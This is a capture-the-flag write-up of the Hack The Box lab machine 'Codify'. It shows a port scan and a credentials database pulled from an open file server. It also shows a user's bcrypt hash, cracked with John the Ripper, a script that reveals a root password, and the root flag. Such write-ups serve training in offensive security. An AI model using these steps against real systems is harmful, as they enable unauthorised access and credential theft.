Codify

Codify

https://app.hackthebox.com/machines/Codify

`rustscan -a 10.10.11.239 -- -sC -sV -A | tee scan.txt`

Discovered open port 80/tcp on 10.10.11.239

Discovered open port 22/tcp on 10.10.11.239

Discovered open port 8080/tcp on 10.10.11.239

Discovered open port 9090/tcp on 10.10.11.239

Discovered open port 3000/tcp on 10.10.11.239

```
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96071cc6773e07a0cc6f2419744d570b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN+/g3FqMmVlkT3XCSMH/JtvGJDW3+PBxqJ+pURQey6GMjs7abbrEOCcVugczanWj1WNU5jsaYzlkCEZHlsHLvk=
|   256 0ba4c0cfe23b95aef6f5df7d0c88d6ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIm6HJTYy2teiiP6uZoSCHhsWHN+z3SVL/21fy6cZWZi
80/tcp   open  http    syn-ack Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
| http-methods:
|_  Supported Methods: GET POST
3000/tcp open  http    syn-ack Node.js Express framework
| http-methods:
|_  Supported Methods: HEAD OPTIONS
8080/tcp open  http    syn-ack SimpleHTTPServer 0.6 (Python 3.10.12)
|_http-title: Directory listing for /
| http-methods:
|_  Supported Methods: GET HEAD
9090/tcp open  http    syn-ack SimpleHTTPServer 0.6 (Python 3.10.12)
|_http-title: Directory listing for /
| http-methods:
|_  Supported Methods: HEAD
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

On ports 8080 and 9090 is a python server with file

tickets.db .

Inside this file I found creds for user

```
┌──(kali㉿kali)-[~/Downloads]
└─$ cat tickets.db
♦T5♦♦T♦format 3@  .WJ
      otableticketsticketsCREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)♦♦  tableusersusersCREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE,
        password TEXT
♦♦G♦joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
♦♦
♦♦♦♦ua  users
        ickets
r]r♦h%%♦Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open♦ ;♦wTom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open
```

```
┌──(kali㉿kali)-[~/HTB/codify]
└─$ nano hash.txt

┌──(kali㉿kali)-[~/HTB/codify]
└─$ john hash.txt --wordlist=/home/kali/Desktop/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (?)
1g 0:00:00:29 DONE (2023-12-08 15:50) 0.03427g/s 46.26p/s 46.26c/s 46.26C/s winston..eunice
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

There is 2 scripts what give me the same password

```
joshua@codify:~$ python3 find_db_password.py
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
joshua@codify:~$
```

```
joshua@codify:~$ python3 spript.py
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
joshua@codify:~$
```

In tmp I found similar script)

`su root`

```
joshua@codify:/tmp$ su root
Password:
root@codify:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@codify:/tmp# cd /root
root@codify:~# ls -la
total 40
drwx------  5 root root 4096 Sep 26 09:35 .
drwxr-xr-x 18 root root 4096 Oct 31 07:57 ..
lrwxrwxrwx  1 root root    9 Sep 14 03:26 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
-rw-r--r--  1 root root   22 May  8  2023 .creds
drwxr-xr-x  3 root root 4096 Sep 26 09:35 .local
lrwxrwxrwx  1 root root    9 Sep 14 03:34 .mysql_history -> /dev/null
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r-----  1 root root   33 Dec  8 12:40 root.txt
drwxr-xr-x  4 root root 4096 Sep 12 16:56 scripts
drwx------  2 root root 4096 Sep 14 03:31 .ssh
-rw-r--r--  1 root root   39 Sep 14 03:26 .vimrc
root@codify:~# cat root.txt
5cc889faed5871270259a2a36a128f34
root@codify:~#
```